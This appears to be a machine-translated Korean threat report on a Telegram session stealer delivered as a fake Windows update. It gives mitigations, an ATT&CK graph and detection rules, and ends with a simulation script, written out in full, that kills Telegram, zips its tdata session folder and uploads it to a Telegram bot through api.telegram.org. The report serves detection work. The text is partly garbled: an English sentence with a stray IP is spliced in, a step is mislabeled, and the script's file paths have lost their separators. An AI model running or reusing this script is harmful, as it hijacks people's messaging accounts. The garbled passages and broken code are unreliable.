텔레그램 세션 탈취기 해부: Pastebin에 호스팅된 PowerShell 스크립트가 데스크톱 및 웹 세션을 타겟으로 하는 방법
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Pastebin에 호스팅된 악성 PowerShell 스크립트가 Telegram Desktop 세션 데이터를 감염된 시스템에서 훔쳐가는 Windows 업데이트로 가장하고 있습니다. 스크립트는 호스트 세부 정보를 수집하고 Telegram tdata 디렉토리를 압축하여 Telegram Bot API를 통해 생성된 아카이브를 탈취합니다. 연구자들은 또한 Telegram Web 인증 키를 캡처하여 로컬 HTTP 수집기로 전달하도록 설계된 관련 웹 기반 스틸러를 확인했습니다. 두 도구 모두 알림을 위해 동일한 Telegram 봇에 의존하고 있으며, 이용 가능한 증거에 따르면 이는 광범위한 운영에서 사용되기보다는 테스트 단계에 머물러 있는 것으로 보입니다.
조사
분석가들은 Pastebin에 호스팅된 두 개의 스크립트 변형을 회수하고 하드 코딩된 봇 토큰과 채팅 ID를 발견했으며 전체 탈취 과정을 재구성했습니다. 실행 중에 스크립트는 Telegram.exe를 종료하고 tdata 폴더를 압축하고 봇의 sendDocument API 메서드를 통해 ZIP 파일을 업로드합니다. 봇 텔레메트리는 또한 MTProto 인증 키를 사설 수집기에 전송한 별도의 웹 중심 스틸러를 노출시켰습니다. 전체적으로, 이 발견은 대규모 캠페인보다는 기능 검증 및 테스트를 가리킵니다. 192.168.137.131:5000. Overall, the findings point to functional testing and validation rather than a mature, large-scale campaign.
완화 조치
Telegram이 필요하지 않은 조직은 api.telegram.org 로의 아웃바운드 트래픽을 차단해야 합니다. 방어자는 Telegram API 엔드포인트를 타겟으로 하는 PowerShell에서 Invoke-RestMethod or WebClient 의 사용을 감시해야 하며 임시 디렉터리에 생성된 ZIP 아카이브에서 tdata 콘텐츠가 포함된 ZIP을 탐지해야 합니다. 노출된 봇 토큰은 즉시 철회하고 교체하여 추가적인 악용을 방지해야 합니다.
응답
스크립트가 발견되면 연관된 PowerShell 프로세스를 종료하고 생성된 diag.zip 아카이브를 제거하세요. 영향을 받은 계정에 연결된 모든 활성 Telegram 세션을 취소하고 2단계 인증을 활성화하여 지속적인 접근 위험을 줄이세요. 봇 토큰은 변경하고 연결된 봇 채팅을 검토하여 탈취된 데이터의 증거를 확인하세요. 추가적인 자격 증명이나 세션 자료가 수집되었는지를 확인하기 위한 더 넓은 법률 조사를 수행해야 합니다.
“graph TB
%% Class definitions
classDef action fill:#99ccff
classDef tool fill:#ffcc99
classDef process fill:#ffeb99
%% Action nodes
action_user_exec[“Action – T1204 User Execution
피해자가 Windows Telemetry Update라는 PowerShell 스크립트를 실행
기술 T1036 가장”]
class action_user_exec action
action_powershell_interp[“Action – T1059.001 PowerShell
PowerShell 인터프리터를 통해 스크립트가 실행”]
class action_powershell_interp action
action_sysinfo[“Action – T1082 시스템 정보 발견
USERNAME, COMPUTERNAME 및 공용 IP 수집”]
class action_sysinfo action
action_collect_tdata[“Action – T1005 로컬 시스템에서 데이터
Telegram Desktop tdata 디렉터리를 찾고 Telegram.exe 종료”]
class action_collect_tdata action
action_archive[“Action – T1560.001 아카이브 유틸리티
Compress‑Archive가 수집한 파일로 diag.zip 생성”]
class action_archive action
action_delete[“Action – T1070.004 파일 삭제
업로드 후 diag.zip 삭제”]
class action_delete action
action_exfiltration[“Action – T1020 자동화된 탈취
Telegram Bot sendDocument 엔드포인트를 사용하여 zip 파일을 탈취
하위 기술 T1041 C2 채널을 통한 탈취, T1567 웹 서비스를 통한 탈취, T1071.001 웹 프로토콜”]
class action_exfiltration action
action_session_hijack[“Action – T1563 원격 서비스 세션 하이재킹
수확된 tdata에서 MTProto 인증 키 재생”]
class action_session_hijack action
action_steal_cookies[“Action – T1550.004 대체 인증 자료 사용
브라우저 저장소에서 Telegram 웹 세션 쿠키를 훔쳐 수집기로 전달”]
class action_steal_cookies action
%% Tool / Process nodes
tool_powershell[“Tool – 이름: PowerShell
설명: Windows 명령줄 셸 및 스크립팅 언어”]
class tool_powershell tool
tool_compress[“Tool – 이름: Compress‑Archive
설명: ZIP 아카이브를 생성하기 위한 PowerShell cmdlet”]
class tool_compress tool
process_telegram[“Process – 이름: Telegram.exe
설명: Telegram 메시징용 데스크톱 클라이언트”]
class process_telegram process
tool_telegram_bot[“Tool – 이름: Telegram Bot API
설명: 데이터 탈취에 사용되는 sendDocument 엔드포인트”]
class tool_telegram_bot tool
%% Connections showing flow
action_user_exec –>|triggers| action_powershell_interp
action_powershell_interp –>|uses| tool_powershell
action_powershell_interp –>|executes| action_sysinfo
action_sysinfo –>|collects| action_collect_tdata
action_collect_tdata –>|terminates| process_telegram
action_collect_tdata –>|uses| tool_compress
action_collect_tdata –>|creates| action_archive
action_archive –>|uses| tool_compress
action_archive –>|produces| action_exfiltration
action_exfiltration –>|uses| tool_telegram_bot
action_exfiltration –>|deletes| action_delete
action_delete –>|cleans up| action_exfiltration
action_exfiltration –>|enables| action_session_hijack
action_session_hijack –>|facilitates| action_steal_cookies
“
공격 흐름
탐지
Powershell에서 의심스러운 .NET 메서드 호출(via powershell)
보기
Telegram 명령 및 제어 채널로서 가능한 악용(dns_query 통해)
보기
IP 조회 도메인 통신 시도 가능성(dns 통해)
보기
검출해야 하는 IOC (SourceIP): Pastebin에 호스팅된 PowerShell 스크립트가 데스크톱 및 웹 세션을 타겟으로 하는 Telegram 세션 스틸러 내부
보기
검출해야 하는 IOC (DestinationIP): Pastebin에 호스팅된 PowerShell 스크립트가 데스크톱 및 웹 세션을 타겟으로 하는 Telegram 세션 스틸러 내부
보기
PowerShell 스크립트를 통한 Telegram 세션 스틸러 탐지 [Windows Network Connection]
보기
Windows Telemetry Update – Telegram 세션 스틸러 [Windows Powershell]
보기
시뮬레이션 실행
전제 조건: Telemetry & Baseline Pre-flight Check가 통과되어야 합니다.
이 섹션은 탐지 규칙을 트리거하도록 설계된 적 공격 기법(TTP)의 정확한 실행을 설명합니다. 명령과 내러티브는 반드시 식별된 TTP를 직접 반영하고 탐지 논리에 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다.
-
공격 내러티브 및 명령:
- 사전 정찰: 공격자는 호스트의 공용 IP를 발견하기 위해
api.ipify.org를 쿼리합니다(기록에 나중에 사용됨). - 서비스 중단: 파일이 잠기지 않도록 하기 위해 합법적인 Telegram Desktop 프로세스를 중지합니다.
- 데이터 수집: Telegram Desktop
tdata디렉토리(세션 파일)를 임시 위치로 재귀적으로 복사합니다. - 아카이브 생성: 수집된 데이터를
diag.zip. - 탐지: 악성 Telegram Bot을 통해 아카이브를 전송합니다
Invoke-RestMethod. - 정리: 임시 아카이브를 삭제하고 필요 시 Telegram을 다시 시작합니다.
- 사전 정찰: 공격자는 호스트의 공용 IP를 발견하기 위해
-
회귀 테스트 스크립트: 전체 공격 체인을 단일 PowerShell 명령줄에서 실행합니다(탐지 규칙과 일치).
# Windows Telemetry Update – Telegram 세션 스틸러 $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content; Stop-Process -Name Telegram -Force; $src = "$env:APPDATATelegram Desktoptdata"; $dst = "$env:TEMPdiag"; Copy-Item -Path $src -Destination $dst -Recurse -Force; Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force; $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"; $chatId = "987654321"; Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data"; Remove-Item -Path "$env:TEMPdiag.zip" -Force; -
정리 명령: 환경을 원래 상태로 복원합니다.
# Telegram을 원하면 다시 시작하고 복사된 데이터를 제거합니다. Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden; Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;